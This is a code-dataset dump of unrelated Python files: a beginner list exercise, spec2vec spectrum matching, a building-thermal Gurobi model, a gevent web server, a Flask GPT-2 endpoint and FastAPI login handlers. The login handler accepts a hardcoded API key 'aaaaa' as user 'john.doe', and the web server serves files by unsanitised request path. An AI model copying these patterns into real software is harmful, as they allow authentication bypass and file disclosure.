continue\r\n # else :\r\n# print(words[2])\r\n\r\n#romeoList = []\r\n\r\n#fRomeoOpen = open('C:\\\\Users\\\\Lordicode\\\\Desktop\\\\romeo.txt')\r\n#for line in fRomeoOpen:\r\n #word = line.rstrip().split()\r\n #element = word\r\n #if element in romeoList:\r\n # continue\r\n #else:\r\n # romeoList.append(element)\r\n\r\n\r\n#print(sorted(romeoList))\r\n#count = 0\r\n#mail = open(input('Location of mailbox data: '))\r\n#for line in mail:\r\n # if line.startswith('From'):\r\n # count = count + 1\r\n # x = line.split()\r\n # try:\r\n # print(x[1:2])\r\n\r\n # except:\r\n # print('Our of index')\r\n # quit()\r\n#print(\"There are %d sender's adresses in the file\" % count)\r\n#C:\\Users\\Lordicode\\Downloads\\mbox-short.txt\r\n#smallest = None\r\n#biggest = 0\r\n\r\nfloatsToCompare = []\r\n\r\nwhile True:\r\n toList = input('What integer to add? - ')\r\n try:\r\n if toList == 'done':\r\n print(floatsToCompare)\r\n print(max(floatsToCompare))\r\n print(min(floatsToCompare))\r\n if toList not in floatsToCompare:\r\n floatsToCompare.append(toList)\r\n\r\n except:\r\n print('Error')\r\n\r\n\r\n #try:\r\n # toList = float(toList)\r\n # if smallest is None:\r\n # smallest = toList\r\n # if toList < smallest:\r\n # smallest = toList\r\n # elif toList > biggest:\r\n # biggest = toList\r\n # except:\r\n # print('Type in integer or float')\r\n\r\n #if toList == 'done':\r\n # print('Smallest: %f' % smallest, 'Biggest: %f' % biggest)\r\n # quit()\r\n","sub_path":"ch 8 list.py","file_name":"ch 8 list.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"565666746","text":"from typing import List\nimport numpy as np\nimport pandas as pd\nfrom matchms.similarity import CosineGreedy, ModifiedCosine, ParentmassMatch\nfrom spec2vec import SpectrumDocument\nfrom spec2vec import Spec2Vec\n\n\ndef library_matching(documents_query: List[SpectrumDocument],\n documents_library: List[SpectrumDocument],\n model,\n presearch_based_on=[\"parentmass\", \"spec2vec-top10\"],\n ignore_non_annotated: bool = True,\n include_scores=[\"spec2vec\", \"cosine\", \"modcosine\"],\n intensity_weighting_power: float = 0.5,\n allowed_missing_percentage: float = 0,\n cosine_tol: float = 0.005,\n mass_tolerance: float = 1.0):\n \"\"\"Selecting potential spectra matches with spectra library.\n\n Suitable candidates will be selected by 1) top_n Spec2Vec similarity, and 2)\n same precursor mass (within given mz_ppm tolerance(s)).\n For later matching routines, additional scores (cosine, modified cosine)\n are added as well.\n\n Args:\n --------\n documents_query:\n List containing all spectrum documents that should be queried against the library.\n documents_library:\n List containing all library spectrum documents.\n model:\n Pretrained word2Vec model.\n top_n: int, optional\n Number of entries witht the top_n highest Spec2Vec scores to keep as\n found matches. Default = 10.\n ignore_non_annotated: bool, optional\n If True, only annotated spectra will be considered for matching.\n Default = True.\n cosine_tol: float, optional\n Set tolerance for the cosine and modified cosine score. Default = 0.005\n mass_tolerance\n Specify tolerance for a parentmass match.\n \"\"\"\n\n # Initializations\n found_matches = []\n m_mass_matches = None\n m_spec2vec_similarities = None\n\n def get_metadata(documents):\n metadata = []\n for doc in documents:\n metadata.append(doc._obj.get(\"smiles\"))\n return metadata\n\n library_spectra_metadata = get_metadata(documents_library)\n if ignore_non_annotated:\n # Get array of all ids for spectra with smiles\n library_ids = np.asarray([i for i, x in enumerate(library_spectra_metadata) if x])\n else:\n library_ids = np.arange(len(documents_library))\n\n msg = \"Presearch must be done either by 'parentmass' and/or 'spec2vec-topX'\"\n assert \"parentmass\" in presearch_based_on or np.any([\"spec2vec\" in x for x in presearch_based_on]), msg\n\n # 1. Search for top-n Spec2Vec matches ------------------------------------\n if np.any([\"spec2vec\" in x for x in presearch_based_on]):\n top_n = int([x.split(\"top\")[1] for x in presearch_based_on if \"spec2vec\" in x][0])\n print(\"Pre-selection includes spec2vec top {}.\".format(top_n))\n spec2vec = Spec2Vec(model=model, intensity_weighting_power=intensity_weighting_power,\n allowed_missing_percentage=allowed_missing_percentage)\n m_spec2vec_similarities = spec2vec.matrix([documents_library[i] for i in library_ids],\n documents_query)\n\n # Select top_n similarity values:\n selection_spec2vec = np.argpartition(m_spec2vec_similarities, -top_n, axis=0)[-top_n:, :]\n else:\n selection_spec2vec = np.empty((0, len(documents_query)), dtype=\"int\")\n\n # 2. Search for parent mass based matches ---------------------------------\n if \"parentmass\" in presearch_based_on:\n mass_matching = ParentmassMatch(mass_tolerance)\n m_mass_matches = mass_matching.matrix([documents_library[i]._obj for i in library_ids],\n [x._obj for x in documents_query])\n selection_massmatch = []\n for i in range(len(documents_query)):\n selection_massmatch.append(np.where(m_mass_matches[:, i] == 1)[0])\n else:\n selection_massmatch = np.empty((len(documents_query), 0), dtype=\"int\")\n\n # 3. Combine found matches ------------------------------------------------\n for i in range(len(documents_query)):\n s2v_top_ids = selection_spec2vec[:, i]\n mass_match_ids = selection_massmatch[i]\n\n all_match_ids = np.unique(np.concatenate((s2v_top_ids, mass_match_ids)))\n\n if len(all_match_ids) > 0:\n if \"modcosine\"in include_scores:\n # Get cosine score for found matches\n cosine_similarity = CosineGreedy(tolerance=cosine_tol)\n cosine_scores = []\n for match_id in library_ids[all_match_ids]:\n cosine_scores.append(cosine_similarity.matrix(documents_library[match_id]._obj,\n documents_query[i]._obj))\n else:\n cosine_scores = len(all_match_ids) * [\"not calculated\"]\n\n if \"cosine\"in include_scores:\n # Get modified cosine score for found matches\n mod_cosine_similarity = ModifiedCosine(tolerance=cosine_tol)\n mod_cosine_scores = []\n for match_id in library_ids[all_match_ids]:\n mod_cosine_scores.append(mod_cosine_similarity.matrix(documents_library[match_id]._obj,\n documents_query[i]._obj))\n else:\n mod_cosine_scores = len(all_match_ids) * [\"not calculated\"]\n\n matches_df = pd.DataFrame({\"cosine_score\": [x[0] for x in cosine_scores],\n \"cosine_matches\": [x[1] for x in cosine_scores],\n \"mod_cosine_score\": [x[0] for x in mod_cosine_scores],\n \"mod_cosine_matches\": [x[1] for x in mod_cosine_scores]},\n index=library_ids[all_match_ids])\n\n if m_mass_matches is not None:\n matches_df[\"mass_match\"] = m_mass_matches[all_match_ids, i]\n\n if m_spec2vec_similarities is not None:\n matches_df[\"s2v_score\"] = m_spec2vec_similarities[all_match_ids, i]\n elif \"spec2vec\"in include_scores:\n spec2vec_similarity = Spec2Vec(model=model, intensity_weighting_power=intensity_weighting_power,\n allowed_missing_percentage=allowed_missing_percentage)\n spec2vec_scores = []\n for match_id in library_ids[all_match_ids]:\n spec2vec_scores.append(spec2vec_similarity.pair(documents_library[match_id],\n documents_query[i]))\n matches_df[\"s2v_score\"] = spec2vec_scores\n found_matches.append(matches_df.fillna(0))\n else:\n found_matches.append([])\n\n return found_matches\n","sub_path":"custom_functions/library_search.py","file_name":"library_search.py","file_ext":"py","file_size_in_byte":6953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"344397708","text":"from collections import deque\nfrom typing import List\n\nclass TreeNode:\n def __init__(self, x: int):\n self.val = x\n self.left = None\n self.right = None\n\ndef level_walk(node: TreeNode) -> List[List[int]]:\n result = []\n level = deque([node])\n\n while level:\n result.append([node.val if node else None for node in level])\n\n for _ in range(len(level)):\n curr = level.popleft()\n if curr:\n level.append(curr.left)\n level.append(curr.right)\n \n return result\n\ndef list_to_BST(l: List) -> TreeNode:\n n = len(l)\n\n if n == 0:\n return None\n\n mid = n // 2\n node = TreeNode(l[mid])\n\n node.left = list_to_BST(l[:mid])\n node.right = list_to_BST(l[mid + 1:])\n\n return node\n\nl = [1,2,3,4,5,6,7,8,9,10]\n\nroot = list_to_BST(l)\nresult = level_walk(root)\nfor line in result:\n print(line)\n\n\n","sub_path":"Alibaba/list_to_BST.py","file_name":"list_to_BST.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"190334686","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 31 13:52:32 2019\n\n@author: nmazzi\n\"\"\"\n\nimport gurobipy as gb\nimport numpy as np\n\n#%%\nclass obj(object):\n '''\n A small class which can have attributes set\n '''\n pass\n\nclass cbems:\n def __init__(self, T, bdata, params1C, heatpump, tau, pbuy, psell, pgamma):\n\n self.data = obj()\n self.vardata = obj()\n self.variables = obj()\n self.constraints = obj()\n self.output = obj()\n\n self.output.u = np.zeros(len(T))\n # Load Sets\n self.data.T = T\n # Load Parameters\n self.data.H_ve = params1C[\"H_ve\" ] ; H_ve = self.data.H_ve \n self.data.H_tris = params1C[\"H_tris\"] ; H_tris = self.data.H_tris \n self.data.H_trw = params1C[\"H_trw\" ] ; H_trw = self.data.H_trw \n self.data.H_trms = params1C[\"H_trms\"] ; H_trms = self.data.H_trms \n self.data.H_trem = params1C[\"H_trem\"] ; H_trem = self.data.H_trem \n self.data.Cm = params1C[\"C_m\"]/tau ; Cm = self.data.Cm \n self.data.Am = params1C[\"A_m\"] ; #Am = self.data.Am\n \n self.data.A_floor = bdata[\"A_floor\"] ; #A_floor = self.data.A_floor \n self.data.k0_s = bdata[\"k0_s\"] \n self.data.k1_s = bdata[\"k1_s\"]\n self.data.k2_s = bdata[\"k2_s\"]\n \n self.data.Q_max_h = heatpump[\"Qdes_h\"] ; Q_max_h = self.data.Q_max_h\n self.data.k0_h = heatpump[\"k0_h\" ] ; #k0 = self.data.k0\n self.data.k1_h = heatpump[\"k1_h\" ] ; #k1 = self.data.k1\n self.data.Q_max_c = heatpump[\"Qdes_c\"] ; Q_max_c = self.data.Q_max_c\n self.data.k0_c = heatpump[\"k0_c\" ] ; #k0 = self.data.k0\n self.data.k1_c = heatpump[\"k1_c\" ] ; #k1 = self.data.k1\n \n self.data.pbuy = pbuy\n self.data.psell = psell\n self.data.pgamma = pgamma\n \n self.vardata.phi = {}\n self.vardata.theta_e = {}\n self.vardata.theta_su = {}\n\n self.model = gb.Model()\n self.model.Params.OutputFlag = False\n\n # Variables\n self.variables.w_buy = {}; w_buy = self.variables.w_buy\n self.variables.w_sell = {}; w_sell = self.variables.w_sell\n self.variables.w_hc = {}; w_hc = self.variables.w_hc\n self.variables.theta_i = {}; theta_i = self.variables.theta_i \n self.variables.theta_s = {}; theta_s = self.variables.theta_s \n self.variables.theta_m = {}; theta_m = self.variables.theta_m \n self.variables.phi_hc = {}; phi_hc = self.variables.phi_hc \n self.variables.delta_up = {}; delta_up = self.variables.delta_up\n self.variables.delta_dw = {}; delta_dw = self.variables.delta_dw\n self.variables.u_hc = {}; u_hc = self.variables.u_hc \n\n for t in T:\n self.variables.w_buy[t] = self.model.addVar(lb = 0)\n self.variables.w_sell[t] = self.model.addVar(lb = 0)\n self.variables.w_hc[t] = self.model.addVar(lb = -gb.GRB.INFINITY)\n self.variables.theta_i[t] = self.model.addVar(lb = -gb.GRB.INFINITY)\n self.variables.theta_s[t] = self.model.addVar(lb = -gb.GRB.INFINITY)\n self.variables.theta_m[t] = self.model.addVar(lb = -gb.GRB.INFINITY)\n self.variables.phi_hc[t] = self.model.addVar(lb = -gb.GRB.INFINITY)\n self.variables.delta_up[t] = self.model.addVar(lb = 0)\n self.variables.delta_dw[t] = self.model.addVar(lb = 0)\n self.variables.u_hc[t] = self.model.addVar(lb = 0 , ub = 1)\n\n self.model.update()\n\n\n # Objective\n self.model.setObjective(0, gb.GRB.MINIMIZE)\n\n # Constraints\n self.constraints.build_a = {}\n self.constraints.build_b = {}\n self.constraints.build_c = {}\n self.constraints.heatpump_a = {}\n self.constraints.heatpump_b = {}\n self.constraints.theta_limup = {}\n self.constraints.theta_limdw = {}\n self.constraints.en_balance = {}\n\n for t in T:\n self.constraints.build_a[t] = self.model.addConstr(-(H_ve+H_tris)*theta_i[t]+H_tris*theta_s[t]+phi_hc[t], gb.GRB.EQUAL , 0)\n self.constraints.build_b[t] = self.model.addConstr(H_tris*theta_i[t]-(H_tris+H_trw+H_trms)*theta_s[t]+H_trms*theta_m[t], gb.GRB.EQUAL , 0)\n if (t==min(T)):\n self.constraints.build_c[t] = self.model.addConstr(H_trms*theta_s[t]-(H_trms+H_trem+Cm)*theta_m[t], gb.GRB.EQUAL, 0)\n else:\n self.constraints.build_c[t] = self.model.addConstr(H_trms*theta_s[t]-(H_trms+H_trem+Cm)*theta_m[t]+Cm*theta_m[t-1], gb.GRB.EQUAL, 0)\n self.constraints.heatpump_a[t] = self.model.addConstr(phi_hc[t]-u_hc[t]*Q_max_h, gb.GRB.EQUAL, 0)\n self.constraints.heatpump_b[t] = self.model.addConstr(w_hc[t] + phi_hc[t], gb.GRB.EQUAL, 0)\n self.constraints.theta_limup[t] = self.model.addConstr(theta_i[t] - delta_up[t], gb.GRB.LESS_EQUAL, 1)\n self.constraints.theta_limdw[t] = self.model.addConstr(theta_i[t] + delta_dw[t], gb.GRB.GREATER_EQUAL, 1)\n self.constraints.en_balance[t] = self.model.addConstr(w_hc[t] + w_sell[t] - w_buy[t], gb.GRB.EQUAL, 0)\n \n self.model.optimize()\n \n def gains2nodes(self, phi_int, I_dir_aw, I_diff_aw, I_dir_af, I_diff_af, T_e, T_sky):\n A_m = self.data.Am\n H_tr_w = self.data.H_trw\n k0 = self.data.k0_s\n k1 = self.data.k1_s\n k2 = self.data.k2_s\n A_t = 4.5*self.data.A_floor\n phi_sol = np.zeros(len(self.data.T))\n for t in self.data.T:\n # calculate solar heat gains based on total incident radiation (simplified)\n I_tot_aw = I_dir_aw[t] + I_diff_aw[t]\n I_tot_af = I_dir_af[t] + I_diff_af[t]\n deT_er = T_e[t] - T_sky[t] \n phi_sol[t] = k0*I_tot_af + k1*I_tot_aw + k2*deT_er # simplified formula\n # distribute solar and internal heat gains to temperature nodes\n self.vardata.phi[t,0] = 0.5*phi_int[t]\n self.vardata.phi[t,1] = (1 - A_m/A_t - H_tr_w/(9.1*A_t))*(0.5*phi_int[t] + phi_sol[t])\n self.vardata.phi[t,2] = A_m/A_t*(0.5*phi_int[t] + phi_sol[t])\n\n def update(self,w_pv,phi_int,solar_input,theta_b,theta_m0,theta_min,theta_max):\n\n # Objective\n self.model.setObjective(gb.quicksum(self.data.pbuy*self.variables.w_buy[t] - self.data.psell*self.variables.w_sell[t] + self.data.pgamma*(self.variables.delta_up[t] + self.variables.delta_dw[t]) for t in self.data.T), gb.GRB.MINIMIZE)\n \n # Read inputs \n I_dir_aw = solar_input[:,0]\n I_diff_aw = solar_input[:,1]\n I_dir_af = solar_input[:,2]\n I_diff_af = solar_input[:,3]\n \n T_e = theta_b[:,0]\n T_sky = theta_b[:,0] # to be updated with T_sky\n \n # Distribute heat gains to nodes\n self.gains2nodes(phi_int, I_dir_aw, I_diff_aw, I_dir_af, I_diff_af, T_e, T_sky)\n \n # Constraints \n for t in self.data.T:\n # boundary conditions\n self.vardata.theta_e[t] = theta_b[t,0]\n self.vardata.theta_su[t] = theta_b[t,1]\n # right hand side (rhs) terms of the constraints (equations)\n self.constraints.build_a[t].rhs = -self.data.H_ve*self.vardata.theta_e[t]-self.vardata.phi[t,0]\n self.constraints.build_b[t].rhs = -self.vardata.phi[t,1]-self.data.H_trw*self.vardata.theta_e[t]\n if (t==min(self.data.T)):\n self.constraints.build_c[t].rhs = -self.vardata.phi[t,2]-self.data.H_trem*self.vardata.theta_e[t]-self.data.Cm*theta_m0\n else:\n self.constraints.build_c[t].rhs = -self.vardata.phi[t,2]-self.data.H_trem*self.vardata.theta_e[t]\n self.model.chgCoeff(self.constraints.heatpump_b[t],self.variables.phi_hc[t],-self.data.k0_h-self.data.k1_h*self.vardata.theta_e[t])\n self.constraints.theta_limup[t].rhs = theta_max[t]\n self.constraints.theta_limdw[t].rhs = theta_min[t]\n self.constraints.en_balance[t].rhs = w_pv[t]\n\n self.model.optimize()\n self.output.q = self.variables.u_hc[0].x*self.data.Q_max_h \n\n#%%\nclass cthermostat:\n def __init__(self,delta_theta):\n\n self.fixdata = obj()\n self.vardata = obj()\n self.output = obj()\n self.tseries = obj()\n\n # Load fixdata (heat pump parameters)\n self.fixdata.delta_theta = delta_theta \n \n # Initialize vardata (time-dependent variables)\n self.vardata.state = {} \n self.vardata.theta_i = {} \n self.vardata.theta_set = {}\n \n # Initialize output variables\n self.output.onoff = {};\n \n # Initialize time-series\n self.tseries.onoff = np.zeros(0)\n \n\n def update(self,state,theta_i,theta_set): \n\n # Update vardata (time-dependent variables)\n self.vardata.state = state; state = self.vardata.state \n self.vardata.theta_i = theta_i; theta_i = self.vardata.theta_i\n self.vardata.theta_set = theta_set; theta_set = self.vardata.theta_set\n \n self.vardata.theta_min = theta_set - self.fixdata.delta_theta ; theta_min = self.vardata.theta_min\n self.vardata.theta_max = theta_set + self.fixdata.delta_theta ; theta_max = self.vardata.theta_max\n \n if (theta_i < theta_min):\n onoff = 1\n elif(theta_i > theta_max):\n onoff = 0\n else:\n if (state==1):\n onoff = 1\n else:\n onoff = 0\n\n self.output.onoff = onoff \n \n # Store values in time-series objects\n# self.tseries.time = np.append(self.tseries.time ,1+len(self.tseries.time))\n self.tseries.onoff = np.append(self.tseries.onoff ,self.output.onoff) ","sub_path":"python8/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":10115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"330675158","text":"# from socket import * # 不能够使用这种方式导入对象 就会导致monkey给socket模块打补丁失败\nimport socket\nimport re\nimport sys\nimport gevent\nfrom gevent import monkey\n\n\nmonkey.patch_all()\n\ng_view_root = \"./view\"\ng_static_root = \"./static\"\n\n\n\nclass HTTPServer(object):\n\n def __init__(self, port, app):\n \"\"\"服务器的初始化设置\"\"\"\n # 1. 创建服务器的socket 做服务器初始化的设置\n self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print(self.server_socket) # gevent._socket3.socket\n self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)\n # 2. 绑定信息\n self.server_socket.bind((\"\", port))\n # 3. 变为被动的套接字\n self.server_socket.listen(128)\n self.app = app\n self.resp_headers = None\n\n def run(self):\n \"\"\"运行服务器\"\"\"\n # 4. 等待新的客户端连接\n while True:\n # 一旦有客户端连接 就创建进程为该顾客服务\n new_socket, new_addr = self.server_socket.accept()\n # 创建子进程 线程共享进程资源 不会发生资源的拷贝\n # join 等待所有的协程任务执行完毕 产生一种阻塞\n # 此时不需要join 因为在while True 死循环里面\n gevent.spawn(self.handle_with_request, new_socket)\n\n def handle_with_request(self, new_socket):\n # 接收数据\n while True:\n req = new_socket.recv(2048)\n # 如果接收的数据位空 关闭连接即可\n if not req:\n # close()\n new_socket.close()\n # 退出当次循环 协程任务也会推出\n return\n # 6. 分析请求 读取对应的文件 将文件数据发送给浏览器\n # print(req.decode())\n req = req.decode()\n req_lines = req.splitlines()\n for item in req_lines:\n # 验证 请求头信息中最后一行是空行\n print(item)\n # 获取第一行\n req_line = req_lines[0]\n # GET /favicon.ico HTTP/1.1\n # GET /a/b/c/11.html HTTP/1.1\n # GET / HTTP/1.1\n # 正则表达式\n # ret = re.match(r\"(.*) (.*) \", req_line)\n # [^a-z] 不能够以 / 开头\n ret = re.match(r\"([^/]*) ([^ ]*)\", req_line)\n method = ret.group(1)\n print(method)\n path = ret.group(2)\n print(path)\n # 区分动态和静态\n if path == \"/\":\n # 当用户直接在浏览器中输入127.0.0.1:8080 或者localhost:8080 --> GET / HTTP/1.1 --> /\n path = \"/index.html\"\n\n if path.endswith(\".html\"):\n # 动态的网页数据\n print(\"动态数据\")\n environ = {\n \"PATH_INFO\":path\n }\n response_body = self.app(environ, self.start_response)\n # 获取状态信息\n resp_header = self.resp_headers[0]\n # 获取响应行信息\n resp_lines = self.resp_headers[1]\n resp_header = \"HTTP/1.1 %s\\r\\n\" % resp_header\n for key, value in resp_lines:\n resp_header += \"%s:%s\\r\\n\" % (key, value)\n # 缺少了空行 和长度(长连接)\n # 添加长度\n resp_header += \"content-length:%d\\r\\n\" % len(response_body.encode())\n resp_header += \"\\r\\n\"\n resp = resp_header + response_body\n new_socket.send(resp.encode())\n else:\n # ./static/css/bootstrap.min.css\n # 静态(.html, .png, .js .css)\n \n resp = \"\"\n try:\n # 需要将\".html\" 修改为静态资源对应的路径\n f = open(g_static_root + path, \"rb\")\n except Exception as ret:\n # 404错误\n response_body = \"sorry, 您访问的页面不存在\".encode()\n response_header = \"HTTP/1.1 404 Not Found\\r\\n\"\n # response_header += \"content-type:text/html; charset=utf-8\\r\\n\"\n response_header += \"content-length:%d\\r\\n\" % len(response_body)\n response_header += \"\\r\\n\"\n else:\n # 打开文件成功\n # 读取二进制的数据\n content = f.read()\n f.close()\n response_header = \"HTTP/1.1 200 OK\\r\\n\"\n # 解决编码的问题 如果指定文件类型 就会导致.css 和 .js文件接收失败\n # response_header += \"content-type:text/html; charset=utf-8\\r\\n\"\n # 需要获取字节长度\n response_header += \"content-length:%d\\r\\n\" % len(content)\n response_header += \"\\r\\n\"\n response_body = content\n finally:\n resp = response_header.encode() + response_body\n new_socket.send(resp)\n\n def start_response(self, status, response_headers):\n self.resp_headers = [status, response_headers]\n\ndef main():\n # 以后通过 python3 xx.py 8888 my_app:app 来运行服务器\n # 一定是这种分支结构更好\n print(sys.path)\n sys.path.insert(0, g_view_root)\n print(sys.path)\n if len(sys.argv) != 3:\n # 不是两个参数 先处理错误的情况\n print(\"请以 python3 xx.py 8888 my_app:app 来运行服务器\")\n return\n if not sys.argv[1].isdigit():\n print(\"请输入正确的端口号\")\n return\n # 一定是正确主逻辑\n port = int(sys.argv[1])\n # 提取第三个参数\n moudle_method_params = sys.argv[2]\n # 通过冒号切割\n parmas = moudle_method_params.split(\":\")\n print(parmas)\n moudle_name = parmas[0]\n method_name = parmas[1]\n # 通过模块名动态导入对应的模块 使用 __import__ 内建函数\n # 作业通过动态导入的方式获取另外一个模块的类 --> 通过动态获取的类创建对象并且调用对象方法\n app_moudle = __import__(moudle_name)\n # 在对应的模块中获取对应的函数\n app_method = getattr(app_moudle,method_name)\n print(app_moudle, app_method)\n\n\n # 整体的逻辑控制\n # 1. 创建HTTPServer对象\n server = HTTPServer(port, app_method)\n # 2. 调用对象的对象方法来启动服务器\n server.run()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"笔记/201711/星爷/day10/mini_web4/web_server.py","file_name":"web_server.py","file_ext":"py","file_size_in_byte":6698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"614974724","text":"class Solution:\n def subsets(self, nums: List[int]) -> List[List[int]]:\n result = []\n subset = []\n\n self.recurse(nums, 0, subset, result)\n return result\n\n def recurse(self,\n nums: List[int],\n index: int,\n subset: List[int],\n result: List[List[int]]):\n if index == len(nums):\n subset = [x for x in subset]\n result.append(subset)\n return\n\n self.recurse(nums, index + 1, subset, result)\n\n subset.append(nums[index])\n self.recurse(nums, index + 1, subset, result)\n subset.pop()\n","sub_path":"0078_Subsets.py","file_name":"0078_Subsets.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"350307531","text":"# Copyright Lucas Brunner 2019\n\n# Main file to be called when starting container\n# It consists of the logic to process request directly\n# Idealy it can be used to offer API requests to query the gpt-2 model\n\n\nimport json\nimport os\nimport numpy as np\nimport tensorflow as tf\n\nimport model\nimport sample\nimport encoder\n\nfrom flask import Flask, escape, request\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello():\n return 'Hello!'\n\n\n@app.route('//')\ndef interact_model(\n string='',\n model_name='774M',\n seed=None,\n nsamples=1,\n batch_size=1,\n length=50,\n temperature=1,\n top_k=2,\n top_p=1,\n models_dir='models',\n):\n try:\n # createactual string\n string = string.replace('%20', ' ').replace('-','?')\n print(string)\n\n models_dir = os.path.expanduser(os.path.expandvars(models_dir))\n if batch_size is None:\n batch_size = 1\n assert nsamples % batch_size == 0\n\n enc = encoder.get_encoder(model_name, models_dir)\n hparams = model.default_hparams()\n with open(os.path.join(models_dir, model_name, 'hparams.json')) as f:\n hparams.override_from_dict(json.load(f))\n\n if length is None:\n length = hparams.n_ctx // 2\n elif length > hparams.n_ctx:\n raise ValueError(\n \"Can't get samples longer than window size: %s\" % hparams.n_ctx)\n\n with tf.Session(graph=tf.Graph()) as sess:\n context = tf.placeholder(tf.int32, [batch_size, None])\n np.random.seed(seed)\n tf.set_random_seed(seed)\n output = sample.sample_sequence(\n hparams=hparams, length=length,\n context=context,\n batch_size=batch_size,\n temperature=temperature, top_k=top_k, top_p=top_p\n )\n\n saver = tf.train.Saver()\n ckpt = tf.train.latest_checkpoint(os.path.join(models_dir, model_name))\n saver.restore(sess, ckpt)\n\n raw_text = string\n\n context_tokens = enc.encode(raw_text)\n generated = 0\n for _ in range(nsamples // batch_size):\n out = sess.run(output, feed_dict={\n context: [context_tokens for _ in range(batch_size)]\n })[:, len(context_tokens):]\n for i in range(batch_size):\n generated += 1\n text = enc.decode(out[i])\n print(\"=\" * 40 + \" SAMPLE \" +\n str(generated) + \" \" + \"=\" * 40)\n print(text)\n return {\"message\":text} \n except Exception as e:\n print(e)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port='8888', debug=False)\n # interact_model()\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"61020303","text":"# -*- coding: UTF-8 -*-\n\nimport matplotlib.lines as mlines\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\n\n\nfr= open('data.txt')\narrayoflines = fr.readlines()\nnumberoflines= len(arrayoflines)\nreturnMat = np.zeros((numberoflines, 2))\nclassLabelVector= []\n\nindex = 0\nfor line in arrayoflines:\n line = line.strip()\n print(line)\n listfromline = line.split('\\t')\n returnMat[index, :] = listfromline[0:2]\n if listfromline[-1] == '吃饭':\n classLabelVector.append(1)\n elif listfromline[-1] == '生活用品':\n classLabelVector.append(2)\n elif listfromline[-1] == '出行':\n classLabelVector.append(3)\n elif listfromline[-1] == '其他':\n classLabelVector.append(4)\n index += 1\n\n\n# 设置matplotlib正常显示中文和负号\nmatplotlib.rcParams['font.sans-serif']=['SimHei'] # 用黑体显示中文\nmatplotlib.rcParams['axes.unicode_minus']=False # 正常显示负号\n# 随机生成(10000,)服从正态分布的数据\n# data = np.random.randn(10000)\n# plt.hist(data, bins=40, normed=0, facecolor=\"blue\", edgecolor=\"black\", alpha=0.7)\n# x, y = np.loadtxt('data.txt', delimiter=',', unpack=True)\nx = returnMat[:, 0]\ny = returnMat[:, 1]\nplt.plot(x, y, label='消费情况', color='blue')\nplt.plot(x, y, 'o', color='black')\n\n\n# 显示横轴标签\nplt.xlabel(\"区间\")\n# 显示纵轴标签\nplt.ylabel(\"频数/频率\")\n# 显示图标题\nplt.title(\"频数/频率分布直方图\")\nplt.show()\n\n#绘制饼图\nlabel_list = [\"吃饭\", \"生活用品\", \"出行\", \"其他\"] # 各部分标签\nsize = [55, 35, 5, 5] # 各部分大小\ncolor = [\"green\", \"blue\", \"red\", \"yellow\"] # 各部分颜色\nexplode = [0.05, 0, 0] # 各部分突出值\npatches, l_text, p_text = plt.pie(size, explode=explode, colors=color, labels=label_list, labeldistance=1.1, autopct=\"%1.1f%%\", shadow=False, startangle=90, pctdistance=0.6)\nplt.axis(\"equal\") # 设置横轴和纵轴大小相等,这样饼才是圆的\nplt.legend()\nplt.show()\n\n# data = np.loadtxt('data.txt')\n#\n# plt.plot(data[:,0],data[:,1])\n# plt.show()","sub_path":"消费记录/cost_calcaute.py","file_name":"cost_calcaute.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"168729720","text":"from fastapi.security.utils import get_authorization_scheme_param\nfrom jose import JWTError\n\nfrom apps.auth.core.domain import User\nfrom apps.auth.core.interfaces import IUserRepository, ITokenProvider\nfrom composite_root.container import provide\n\n\nclass ILoginHandler:\n async def login_by_token(self, token: str) -> User:\n ...\n\n\nclass LoginHandler(ILoginHandler):\n def __init__(self) -> None:\n self.strategies = [provide(JWTLoginHandler), provide(ApiKeyLoginHandler)]\n\n async def login_by_token(self, token: str | None) -> User | None:\n user: User | None = None\n for strategy in self.strategies:\n user = await strategy.login_by_token(token)\n if user:\n break\n\n return user\n\n\nclass JWTLoginHandler(ILoginHandler):\n def __init__(\n self, user_repository: IUserRepository, token_provider: ITokenProvider\n ) -> None:\n self.user_repository = user_repository\n self.token_provider = token_provider\n\n async def login_by_token(self, token: str | None) -> User | None:\n scheme, token = get_authorization_scheme_param(token)\n if not token or scheme.lower() != \"bearer\":\n return None\n\n if not token:\n return None\n\n try:\n payload = await self.token_provider.decode_token(token)\n except JWTError:\n return None\n\n return await self._get_user_from_token_payload(payload, token)\n\n async def _get_user_from_token_payload(\n self, payload: dict, token: str\n ) -> User | None:\n username: str | None = payload.get(\"sub\")\n return await self.user_repository.get_by_username(username)\n\n\nclass ApiKeyLoginHandler(ILoginHandler):\n def __init__(self, user_repository: IUserRepository) -> None:\n self.user_repository = user_repository\n\n async def login_by_token(self, token: str | None) -> User | None:\n scheme, token = get_authorization_scheme_param(token)\n if not token or scheme.lower() != \"apikey\":\n return None\n\n if token == \"aaaaa\":\n return await self.user_repository.get_by_username(\"john.doe\")\n\n return None\n","sub_path":"src/apps/auth/core/login_handlers.py","file_name":"login_handlers.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} 